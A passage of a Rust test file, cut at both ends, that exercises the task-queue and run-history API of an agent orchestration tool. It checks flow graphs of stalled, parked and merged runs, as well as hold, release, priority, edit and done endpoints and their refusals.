9123 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
9124 assert_eq!(res.status, 404, "{}", res.body);
9125 }
9126
9127 #[tokio::test]
9128 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
9129 let f = Fixture::start().await;
9130 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
9131
9132 let deleted = f.delete(&format!("/api/talks/{id}")).await;
9133 assert_eq!(deleted.status, 204, "{}", deleted.body);
9134
9135 let after = f.get(&format!("/api/talks/{id}")).await;
9136 assert_eq!(after.status, 404, "{}", after.body);
9137
9138 let listed = f.get("/api/talks").await.json();
9139 assert!(
9140 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
9141 "a deleted talk must not linger in the list: {listed}"
9142 );
9143 }
9144
9145 #[tokio::test]
9146 async fn talk_delete_on_an_unknown_id_is_404() {
9147 let f = Fixture::start().await;
9148 let res = f.delete("/api/talks/nonexistent-id").await;
9149 assert_eq!(res.status, 404, "{}", res.body);
9150 }
9151
9152 #[tokio::test]
9156 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
9157 let f = Fixture::start().await;
9158 let (a, b, gone) = (
9159 "20260902-140501-aaaa",
9160 "20260902-140502-bbbb",
9161 "20260902-140503-cccc",
9162 );
9163 write_run(&f.runs(), a, RunStatus::Stalled);
9164 let mut review = RunState::new(
9165 PathBuf::from("/repo/magi"),
9166 "main".to_owned(),
9167 "0123456789abcdef".to_owned(),
9168 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
9169 .to_owned(),
9170 Config::default(),
9171 );
9172 review.id = b.to_owned();
9173 review.status = RunStatus::Merged;
9174 write_state(&f.runs(), &review);
9175
9176 let mut task = Task::new(
9177 "retry".to_owned(),
9178 "Do the thing".to_owned(),
9179 PathBuf::from("/repo/magi"),
9180 Source::Human,
9181 );
9182 task.start(a.to_owned());
9183 task.stall("quota");
9184 task.start(a.to_owned());
9185 task.start(b.to_owned());
9186 task.start(gone.to_owned());
9187 f.queue().put(&mut task).expect("file the task");
9188
9189 let res = f.get(&format!("/api/queue/{}", task.id)).await;
9190 assert_eq!(res.status, 200, "{}", res.body);
9191 let v = res.json();
9192 let h = v["history"].as_array().expect("history");
9193 assert_eq!(h.len(), 4, "{v}");
9194 assert_eq!(h[0]["kind"], "competition");
9195 assert_eq!(h[0]["status"], "stalled");
9196 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
9197 assert_eq!(h[1]["kind"], "resume", "{v}");
9198 assert!(
9199 h[0]["outcome"]
9200 .as_str()
9201 .unwrap()
9202 .contains("unknown. Pass #2"),
9203 "an earlier pass of a resumed run must not claim the final outcome: {v}"
9204 );
9205 assert!(
9206 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
9207 "{v}"
9208 );
9209 assert!(
9210 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
9211 "an unrecorded cause must not be narrated as an operator park: {v}"
9212 );
9213 assert_eq!(h[2]["kind"], "review");
9214 assert!(
9215 h[2]["description"]
9216 .as_str()
9217 .unwrap()
9218 .contains("magi/aaaa/A")
9219 );
9220 assert_eq!(h[2]["status"], "merged");
9221 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
9222 assert_eq!(v["runs_unreadable"], 1);
9223 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
9224 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
9225 assert_eq!(nodes[4]["note"], "unreadable");
9226 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
9227 assert_eq!(v["instruction"], "Do the thing");
9228 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
9229
9230 let run = f.get(&format!("/api/runs/{a}")).await.json();
9232 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
9233
9234 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
9235 }
9236
9237 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
9238 let mut s = RunState::new(
9239 PathBuf::from("/repo/magi"),
9240 "main".to_owned(),
9241 "0123456789abcdef".to_owned(),
9242 "Do it".to_owned(),
9243 Config::default(),
9244 );
9245 s.status = status;
9246 edit(&mut s);
9247 s
9248 }
9249
9250 fn flow_task(runs: &[&str]) -> Task {
9251 let mut t = Task::new(
9252 "t".to_owned(),
9253 "Do it".to_owned(),
9254 PathBuf::from("/repo/magi"),
9255 Source::Human,
9256 );
9257 for r in runs {
9258 t.start((*r).to_owned());
9259 }
9260 t
9261 }
9262
9263 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
9264 let h = task_history(task, |id| {
9265 states
9266 .iter()
9267 .find(|(i, _)| *i == id)
9268 .and_then(|(_, s)| s.clone())
9269 });
9270 task_flow(task, &h, 5)
9271 }
9272
9273 #[test]
9274 fn flow_opens_with_the_chat_that_queued_the_task() {
9275 let mut t = flow_task(&[]);
9276 t.source = Source::Agent {
9277 run: "a b/c".to_owned(),
9278 node: crate::queue::CHAT_NODE.to_owned(),
9279 };
9280 let f = flow_for(&t, &[]);
9281 assert_eq!(f.nodes[0].key, "chat");
9282 assert_eq!(f.nodes[0].kind, "chat");
9283 assert_eq!(
9284 f.nodes[0].label,
9285 format!("Chat {}", crate::queue::short("a b/c"))
9286 );
9287 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
9288 assert_eq!(f.nodes[1].key, "start");
9289 assert_eq!(
9290 f.edges[0],
9291 FlowEdge {
9292 from: "chat".to_owned(),
9293 to: "start".to_owned(),
9294 label: "queued from chat".to_owned(),
9295 attempt: AttemptCost::None,
9296 }
9297 );
9298 }
9299
9300 #[test]
9301 fn flow_has_no_chat_box_for_other_sources() {
9302 for source in [
9303 Source::Human,
9304 Source::Issue {
9305 number: 3,
9306 repo: "o/r".to_owned(),
9307 },
9308 Source::Agent {
9309 run: "20260904-014455-ab12".to_owned(),
9310 node: "implement".to_owned(),
9311 },
9312 ] {
9313 let mut t = flow_task(&[]);
9314 t.source = source;
9315 let f = flow_for(&t, &[]);
9316 assert_eq!(f.nodes[0].key, "start");
9317 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
9318 assert!(f.edges.iter().all(|e| e.from != "chat"));
9319 }
9320 }
9321
9322 const FA: &str = "20260902-140501-aaaa";
9323 const FB: &str = "20260902-140502-bbbb";
9324
9325 #[test]
9326 fn flow_follows_blocked_retry_merged_to_done() {
9327 let mut t = flow_task(&[FA, FB]);
9328 t.status = TaskStatus::Done;
9329 let f = flow_for(
9330 &t,
9331 &[
9332 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
9333 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
9334 ],
9335 );
9336 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
9337 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
9338 assert_eq!(f.edges.len(), 3);
9339 assert_eq!(f.edges[0].label, "claimed");
9340 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
9341 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9342 assert_eq!(f.edges[2].label, "merged \u{2192} done");
9343 assert_eq!(
9344 f.nodes[2].href.as_deref(),
9345 Some("#/runs/20260902-140502-bbbb")
9346 );
9347 assert!(f.nodes[2].decided);
9348 }
9349
9350 #[test]
9351 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
9352 let quota = || {
9353 flow_run(RunStatus::Stalled, |s| {
9354 s.quota.push(crate::run::QuotaLoss {
9355 seat: "judge-1".to_owned(),
9356 node: "judge".to_owned(),
9357 at: Timestamp::now(),
9358 reset: None,
9359 })
9360 })
9361 };
9362 let mut t = flow_task(&[FA, FA]);
9363 t.status = TaskStatus::Queued;
9364 let f = flow_for(&t, &[(FA, Some(quota()))]);
9365 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
9366 assert_eq!(f.nodes[1].note, Some("interrupted"));
9367 assert_eq!(
9368 f.nodes[1].status, None,
9369 "no outcome copied onto an earlier pass"
9370 );
9371 assert_eq!(
9372 f.edges[1].attempt,
9373 AttemptCost::Unknown,
9374 "a resume does not prove the earlier pass was refunded"
9375 );
9376 assert!(f.edges[1].label.contains("resume the same run"));
9377 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
9378 assert_eq!(
9379 f.edges[2].label,
9380 "stalled after a resume, refund unknown \u{2192} queued"
9381 );
9382 assert!(!f.nodes[2].decided, "a stall is not a decision");
9383 assert_eq!(f.nodes[2].note, Some("no verdict"));
9384 }
9385
9386 #[test]
9387 fn flow_single_pass_quota_stall_is_refunded() {
9388 let t = flow_task(&[FA]);
9389 let f = flow_for(
9390 &t,
9391 &[(
9392 FA,
9393 Some(flow_run(RunStatus::Stalled, |s| {
9394 s.quota.push(crate::run::QuotaLoss {
9395 seat: "judge-1".to_owned(),
9396 node: "judge".to_owned(),
9397 at: Timestamp::now(),
9398 reset: None,
9399 })
9400 })),
9401 )],
9402 );
9403 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9404 }
9405
9406 #[test]
9407 fn flow_parked_refunds_and_stall_without_quota_spends() {
9408 let mut t = flow_task(&[FA]);
9409 t.status = TaskStatus::Queued;
9410 let f = flow_for(
9411 &t,
9412 &[(
9413 FA,
9414 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
9415 )],
9416 );
9417 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
9418 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9419 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
9420 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9421 assert!(!f.nodes[1].decided);
9422 }
9423
9424 #[test]
9425 fn flow_keeps_an_unreadable_run_as_its_own_node() {
9426 let t = flow_task(&[FA, FB]);
9427 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
9428 assert_eq!(f.nodes[1].note, Some("unreadable"));
9429 assert!(!f.nodes[1].readable);
9430 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
9431 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
9432 }
9433
9434 #[test]
9435 fn flow_names_the_branch_of_a_review_only_run() {
9436 let t = flow_task(&[FA]);
9437 let f = flow_for(
9438 &t,
9439 &[(
9440 FA,
9441 Some(flow_run(RunStatus::Merged, |s| {
9442 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
9443 })),
9444 )],
9445 );
9446 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
9447 assert_eq!(
9448 f.nodes[1].detail.as_deref(),
9449 Some("review-only run of branch magi/x/A")
9450 );
9451 }
9452
9453 #[test]
9454 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
9455 let mut t = flow_task(&[FA]);
9456 t.status = TaskStatus::Held;
9457 let pr = crate::run::PrRecord {
9458 url: "https://example.test/pr/1".to_owned(),
9459 number: 1,
9460 state: "open".to_owned(),
9461 checks: "green".to_owned(),
9462 round: 0,
9463 rounds: 3,
9464 red_at_merge: Vec::new(),
9465 };
9466 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
9467 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
9468 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
9469 t.status = TaskStatus::Done;
9470 let f = flow_for(&t, &[(FA, Some(blocked))]);
9471 assert_eq!(f.edges[1].label, "closed by hand: task is done");
9472 }
9473
9474 #[test]
9475 fn flow_with_no_runs_goes_from_queued_to_queued() {
9476 let t = flow_task(&[]);
9477 let f = flow_for(&t, &[]);
9478 assert_eq!(f.nodes.len(), 2);
9479 assert_eq!(f.edges.len(), 1);
9480 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
9481 assert_eq!(f.edges[0].attempt, AttemptCost::None);
9482 }
9483
9484 #[test]
9487 fn a_parked_non_terminal_run_is_explained_as_parked() {
9488 let mut s = RunState::new(
9489 PathBuf::from("/repo/magi"),
9490 "main".to_owned(),
9491 "0123456789abcdef".to_owned(),
9492 "Do it".to_owned(),
9493 Config::default(),
9494 );
9495 s.status = RunStatus::Implementing;
9496 s.parked = true;
9497 let task = Task::new(
9498 "t".to_owned(),
9499 "Do it".to_owned(),
9500 PathBuf::from("/repo/magi"),
9501 Source::Human,
9502 );
9503 let v = task_run_view(
9504 "20260902-140501-aaaa",
9505 Some(&s),
9506 RunSlot {
9507 n: 1,
9508 resumed: false,
9509 resumed_later: None,
9510 prior: None,
9511 last: true,
9512 },
9513 &task,
9514 );
9515 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
9516 }
9517
9518 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
9519 let mut s = flow_run(RunStatus::Implementing, edit);
9520 s.parked = false;
9521 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
9522 task_run_view(
9523 "20260902-140501-aaaa",
9524 Some(&s),
9525 RunSlot {
9526 n: 1,
9527 resumed: false,
9528 resumed_later: Some(2),
9529 prior: None,
9530 last: false,
9531 },
9532 &task,
9533 )
9534 }
9535
9536 #[test]
9537 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
9538 let v = earlier_pass_view(|_| {});
9539 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
9540 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9541 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
9542 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
9543 assert_eq!(v.exit, RunExit::Interrupted);
9544 assert_eq!(v.attempt, AttemptCost::Unknown);
9545 }
9546
9547 #[test]
9548 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
9549 let v = earlier_pass_view(|s| {
9550 s.quota.push(crate::run::QuotaLoss {
9551 seat: "judge-1".to_owned(),
9552 node: "judge".to_owned(),
9553 at: Timestamp::now(),
9554 reset: None,
9555 });
9556 });
9557 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
9558 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9559 assert_eq!(v.attempt, AttemptCost::Unknown);
9560 }
9561
9562 #[test]
9563 fn the_current_pass_states_its_recorded_cause_and_cost() {
9564 let slot = || RunSlot {
9565 n: 1,
9566 resumed: false,
9567 resumed_later: None,
9568 prior: None,
9569 last: true,
9570 };
9571 let task = flow_task(&["20260902-140501-aaaa"]);
9572 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
9573 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
9574 assert_eq!(
9575 (v.exit, v.attempt),
9576 (RunExit::Parked, AttemptCost::Refunded)
9577 );
9578 let spent = flow_run(RunStatus::Blocked, |_| {});
9579 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
9580 assert_eq!(v.attempt, AttemptCost::Spent);
9581 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
9582 }
9583
9584 #[tokio::test]
9585 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
9586 let f = Fixture::start().await;
9587 let queue = f.queue();
9588 let mut task = Task::new(
9589 "spent".to_owned(),
9590 "Try again".to_owned(),
9591 PathBuf::from("/repo/magi"),
9592 Source::Human,
9593 );
9594 task.start("20260902-140502-bbbb".to_owned());
9595 task.fail("agent gave up", 9);
9596 queue.put(&mut task).expect("file the task");
9597
9598 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9599 assert_eq!(held.status, 200);
9600 assert_eq!(held.json()["status_str"], "held");
9601
9602 let released = f
9603 .post(&format!("/api/queue/{}/release", task.id), None)
9604 .await;
9605 assert_eq!(released.status, 200);
9606 assert_eq!(released.json()["status_str"], "queued");
9607 assert_eq!(
9608 released.json()["attempts"],
9609 0,
9610 "release is a real second chance, not an instant re-hold"
9611 );
9612 assert_eq!(
9613 queue.get(&task.id).expect("reload").status,
9614 TaskStatus::Queued,
9615 "the change is on disk, not only in the reply"
9616 );
9617 assert!(
9618 !f.home
9619 .path()
9620 .join("queue")
9621 .join(format!("{}.lock", task.id))
9622 .exists(),
9623 "the claim the mutation took is released again"
9624 );
9625 }
9626
9627 #[tokio::test]
9628 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
9629 let f = Fixture::start().await;
9630 let queue = f.queue();
9631 let mut task = Task::new(
9632 "busy".to_owned(),
9633 "Running right now".to_owned(),
9634 PathBuf::from("/repo/magi"),
9635 Source::Human,
9636 );
9637 queue.put(&mut task).expect("file the task");
9638 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9639
9640 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9641
9642 assert_eq!(res.status, 409);
9643 assert_eq!(
9644 queue.get(&task.id).expect("reload").status,
9645 TaskStatus::Queued,
9646 "the refused hold changed nothing"
9647 );
9648 }
9649
9650 #[tokio::test]
9651 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
9652 let f = Fixture::start().await;
9653 let queue = f.queue();
9654 let mut task = Task::new(
9655 "waiting on the migration".to_owned(),
9656 "Do the thing".to_owned(),
9657 PathBuf::from("/repo/magi"),
9658 Source::Human,
9659 );
9660 queue.put(&mut task).expect("file the task");
9661
9662 let held = f
9663 .post(
9664 &format!("/api/queue/{}/hold", task.id),
9665 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
9666 )
9667 .await;
9668 assert_eq!(held.status, 200, "{}", held.body);
9669 assert_eq!(held.json()["status_str"], "held");
9670 assert_eq!(
9671 held.json()["hold_reason"],
9672 "waiting for 20260101-000000-aaaa to land"
9673 );
9674
9675 let listed = f.get("/api/queue").await.json();
9676 assert_eq!(
9677 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
9678 "the card reads the reason off the same list route"
9679 );
9680
9681 let mut plain = Task::new(
9684 "no reason given".to_owned(),
9685 "Do another thing".to_owned(),
9686 PathBuf::from("/repo/magi"),
9687 Source::Human,
9688 );
9689 queue.put(&mut plain).expect("file the task");
9690 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
9691 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
9692 assert!(held_plain.json()["hold_reason"].is_null());
9693
9694 let released = f
9695 .post(&format!("/api/queue/{}/release", task.id), None)
9696 .await;
9697 assert_eq!(released.status, 200);
9698 assert!(
9699 released.json()["hold_reason"].is_null(),
9700 "a release must clear the reason so the next hold does not inherit it"
9701 );
9702 }
9703
9704 #[tokio::test]
9705 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
9706 let f = Fixture::start().await;
9707 let queue = f.queue();
9708 let mut older = Task::new(
9709 "filed first".to_owned(),
9710 "x".to_owned(),
9711 PathBuf::from("/repo/magi"),
9712 Source::Human,
9713 );
9714 older.id = "20260101-000001-aaaa".to_owned();
9715 let mut newer = Task::new(
9716 "filed second".to_owned(),
9717 "x".to_owned(),
9718 PathBuf::from("/repo/magi"),
9719 Source::Human,
9720 );
9721 newer.id = "20260101-000002-bbbb".to_owned();
9722 queue.put(&mut older).expect("file older");
9723 queue.put(&mut newer).expect("file newer");
9724
9725 let before = f.get("/api/queue").await.json();
9728 assert_eq!(before[0]["id"], newer.id);
9729 assert_eq!(before[1]["id"], older.id);
9730
9731 let raised = f
9735 .post(
9736 &format!("/api/queue/{}/priority", older.id),
9737 Some(r#"{"priority":10}"#),
9738 )
9739 .await;
9740 assert_eq!(raised.status, 200, "{}", raised.body);
9741 assert_eq!(raised.json()["priority"], 10);
9742
9743 let after = f.get("/api/queue").await.json();
9744 let names: Vec<&str> = after
9745 .as_array()
9746 .unwrap()
9747 .iter()
9748 .map(|t| t["id"].as_str().unwrap())
9749 .collect();
9750 assert_eq!(names[0], older.id, "the raised task now sorts first");
9754 }
9755
9756 #[tokio::test]
9757 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
9758 let f = Fixture::start().await;
9759 let queue = f.queue();
9760 let mut task = Task::new(
9761 "in flight".to_owned(),
9762 "x".to_owned(),
9763 PathBuf::from("/repo/magi"),
9764 Source::Human,
9765 );
9766 task.start("20260902-140502-bbbb".to_owned());
9767 queue.put(&mut task).expect("file the task");
9768
9769 let res = f
9770 .post(
9771 &format!("/api/queue/{}/priority", task.id),
9772 Some(r#"{"priority":9}"#),
9773 )
9774 .await;
9775 assert_eq!(res.status, 400, "{}", res.body);
9776 assert!(
9777 res.json()["error"]
9778 .as_str()
9779 .is_some_and(|e| e.contains("running")),
9780 "{}",
9781 res.body
9782 );
9783 assert_eq!(
9784 queue.get(&task.id).expect("reload").priority,
9785 0,
9786 "the refused write must not partially apply"
9787 );
9788 }
9789
9790 #[tokio::test]
9791 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
9792 let f = Fixture::start().await;
9793 let queue = f.queue();
9794 let mut task = Task::new(
9795 "old title".to_owned(),
9796 "old instruction".to_owned(),
9797 PathBuf::from("/repo/magi"),
9798 Source::Agent {
9799 run: "20260101-000000-beef".to_owned(),
9800 node: "implement".to_owned(),
9801 },
9802 );
9803 task.runs.push("20260101-000000-beef".to_owned());
9804 queue.put(&mut task).expect("file the task");
9805 let created_at = task.created_at;
9806
9807 let edited = f
9808 .post(
9809 &format!("/api/queue/{}/edit", task.id),
9810 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
9811 )
9812 .await;
9813 assert_eq!(edited.status, 200, "{}", edited.body);
9814 let body = edited.json();
9815 assert_eq!(body["title"], "new title");
9816 assert_eq!(body["instruction"], "new instruction");
9817 assert_eq!(body["id"], task.id, "editing must not mint a new id");
9818 assert_eq!(body["created_at"], created_at.to_string());
9819 assert_eq!(
9820 body["source"]["kind"], "agent",
9821 "editing a task an agent filed must not turn it human: {body}"
9822 );
9823 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
9824
9825 let reloaded = queue.get(&task.id).expect("reload");
9826 assert_eq!(reloaded.title, "new title");
9827 assert_eq!(reloaded.instruction, "new instruction");
9828 }
9829
9830 #[tokio::test]
9831 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
9832 let f = Fixture::start().await;
9833 let queue = f.queue();
9834 let mut owner = Task::new(
9835 "owner".to_owned(),
9836 "review it".to_owned(),
9837 PathBuf::from("/repo/magi"),
9838 Source::Human,
9839 );
9840 owner.review_branch = Some("magi/ab12/A".to_owned());
9841 queue.put(&mut owner).expect("file the owner");
9842 let mut task = Task::new(
9843 "draft".to_owned(),
9844 "old".to_owned(),
9845 PathBuf::from("/repo/magi"),
9846 Source::Human,
9847 );
9848 queue.put(&mut task).expect("file the draft");
9849 let url = format!("/api/queue/{}/edit", task.id);
9850
9851 let refused = f
9852 .post(
9853 &url,
9854 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
9855 )
9856 .await;
9857 assert_eq!(refused.status, 409, "{}", refused.body);
9858 let msg = refused.json()["error"]
9859 .as_str()
9860 .unwrap_or_default()
9861 .to_owned();
9862 assert!(
9863 msg.contains("magi/ab12/A") && msg.contains("force"),
9864 "{msg}"
9865 );
9866 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
9867
9868 let forced = f
9869 .post(
9870 &url,
9871 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
9872 )
9873 .await;
9874 assert_eq!(forced.status, 200, "{}", forced.body);
9875 }
9876
9877 #[tokio::test]
9878 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
9879 let f = Fixture::start().await;
9880 let queue = f.queue();
9881 let mut task = Task::new(
9882 "in flight".to_owned(),
9883 "do not touch".to_owned(),
9884 PathBuf::from("/repo/magi"),
9885 Source::Human,
9886 );
9887 task.start("20260902-140502-bbbb".to_owned());
9888 queue.put(&mut task).expect("file the task");
9889
9890 let res = f
9891 .post(
9892 &format!("/api/queue/{}/edit", task.id),
9893 Some(r#"{"title":"x","instruction":"y"}"#),
9894 )
9895 .await;
9896 assert_eq!(res.status, 400, "{}", res.body);
9897 assert!(
9898 res.json()["error"]
9899 .as_str()
9900 .is_some_and(|e| e.contains("running")),
9901 "{}",
9902 res.body
9903 );
9904 assert_eq!(
9905 queue.get(&task.id).expect("reload").instruction,
9906 "do not touch",
9907 "the refused edit must not change the file"
9908 );
9909 }
9910
9911 #[tokio::test]
9912 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
9913 let f = Fixture::start().await;
9914 let queue = f.queue();
9915 let mut task = Task::new(
9916 "busy".to_owned(),
9917 "Running right now".to_owned(),
9918 PathBuf::from("/repo/magi"),
9919 Source::Human,
9920 );
9921 queue.put(&mut task).expect("file the task");
9922 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9923
9924 let priority = f
9925 .post(
9926 &format!("/api/queue/{}/priority", task.id),
9927 Some(r#"{"priority":9}"#),
9928 )
9929 .await;
9930 assert_eq!(priority.status, 409, "{}", priority.body);
9931
9932 let edit = f
9933 .post(
9934 &format!("/api/queue/{}/edit", task.id),
9935 Some(r#"{"title":"x","instruction":"y"}"#),
9936 )
9937 .await;
9938 assert_eq!(edit.status, 409, "{}", edit.body);
9939 }
9940
9941 #[tokio::test]
9942 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
9943 let f = Fixture::start().await;
9944 let queue = f.queue();
9945 let mut task = Task::new(
9946 "shipped by hand".to_owned(),
9947 "merged outside the loop".to_owned(),
9948 PathBuf::from("/repo/magi"),
9949 Source::Agent {
9950 run: "20260101-000000-b455".to_owned(),
9951 node: "implement".to_owned(),
9952 },
9953 );
9954 task.runs.push("20260101-000000-b455".to_owned());
9955 task.runs.push("20260101-000000-9af4".to_owned());
9956 queue.put(&mut task).expect("file the task");
9957 let created_at = task.created_at;
9958
9959 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9960 assert_eq!(done.status, 200, "{}", done.body);
9961 assert_eq!(done.json()["status_str"], "done");
9962
9963 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
9964 assert_eq!(
9965 reloaded.runs,
9966 ["20260101-000000-b455", "20260101-000000-9af4"]
9967 );
9968 assert_eq!(
9969 reloaded.source,
9970 Source::Agent {
9971 run: "20260101-000000-b455".to_owned(),
9972 node: "implement".to_owned(),
9973 }
9974 );
9975 assert_eq!(reloaded.created_at, created_at);
9976 }
9977
9978 #[tokio::test]
9979 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
9980 let f = Fixture::start().await;
9985 let queue = f.queue();
9986 let mut task = Task::new(
9987 "landed while held".to_owned(),
9988 "x".to_owned(),
9989 PathBuf::from("/repo/magi"),
9990 Source::Human,
9991 );
9992 task.hold_manual(Some("waiting on 3ed9".to_owned()));
9993 queue.put(&mut task).expect("file the held task");
9994
9995 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9996 assert_eq!(done.status, 200, "{}", done.body);
9997 assert_eq!(done.json()["status_str"], "done");
9998 assert!(
9999 done.json()["hold_reason"].is_null(),
10000 "a done task cannot still be waiting on something: {}",
10001 done.body
10002 );
10003 }
10004
10005 #[tokio::test]
10006 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
10007 let f = Fixture::start().await;
10012 let queue = f.queue();
10013 let runs = f.runs();
10014 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
10015 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
10019
10020 let mut task = Task::new(
10021 "landed by hand".to_owned(),
10022 "x".to_owned(),
10023 PathBuf::from("/repo/magi"),
10024 Source::Human,
10025 );
10026 task.runs.push("20260101-000000-doa1".to_owned());
10027 task.runs.push("20260101-000000-doa2".to_owned());
10028 queue.put(&mut task).expect("file the task");
10029
10030 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10031 assert_eq!(done.status, 200, "{}", done.body);
10032
10033 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
10034 .expect("run still on disk under this fixture's own home");
10035 assert_eq!(
10036 reloaded_run.status,
10037 RunStatus::Superseded,
10038 "closing the task by hand must relabel the earlier blocked attempt exactly \
10039 like the loop's own settle path does"
10040 );
10041 }
10042
10043 #[tokio::test]
10044 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
10045 let f = Fixture::start().await;
10050 let queue = f.queue();
10051 let runs = f.runs();
10052 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
10053 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
10054
10055 let mut task = Task::new(
10056 "closed with nothing actually landed".to_owned(),
10057 "x".to_owned(),
10058 PathBuf::from("/repo/magi"),
10059 Source::Human,
10060 );
10061 task.runs.push("20260101-000000-dob1".to_owned());
10062 task.runs.push("20260101-000000-dob2".to_owned());
10063 queue.put(&mut task).expect("file the task");
10064
10065 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10066 assert_eq!(done.status, 200, "{}", done.body);
10067
10068 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
10069 .expect("run still on disk under this fixture's own home");
10070 assert_eq!(
10071 reloaded_run.status,
10072 RunStatus::Blocked,
10073 "the last recorded attempt never landed, so the earlier one must not be \
10074 relabelled as superseded by it"
10075 );
10076 }
10077
10078 #[tokio::test]
10079 async fn unknown_ids_are_json_not_found_on_both_stores() {
10080 let f = Fixture::start().await;
10081
10082 let run = f.get("/api/runs/nosuchrun").await;
10083 let task = f.post("/api/queue/nosuchtask/hold", None).await;
10084
10085 assert_eq!(run.status, 404);
10086 assert_eq!(task.status, 404);
10087 assert!(
10088 run.json()["error"]
10089 .as_str()
10090 .is_some_and(|e| e.contains("run")),
10091 "the error names what was not found: {}",
10092 run.body
10093 );
10094 assert!(
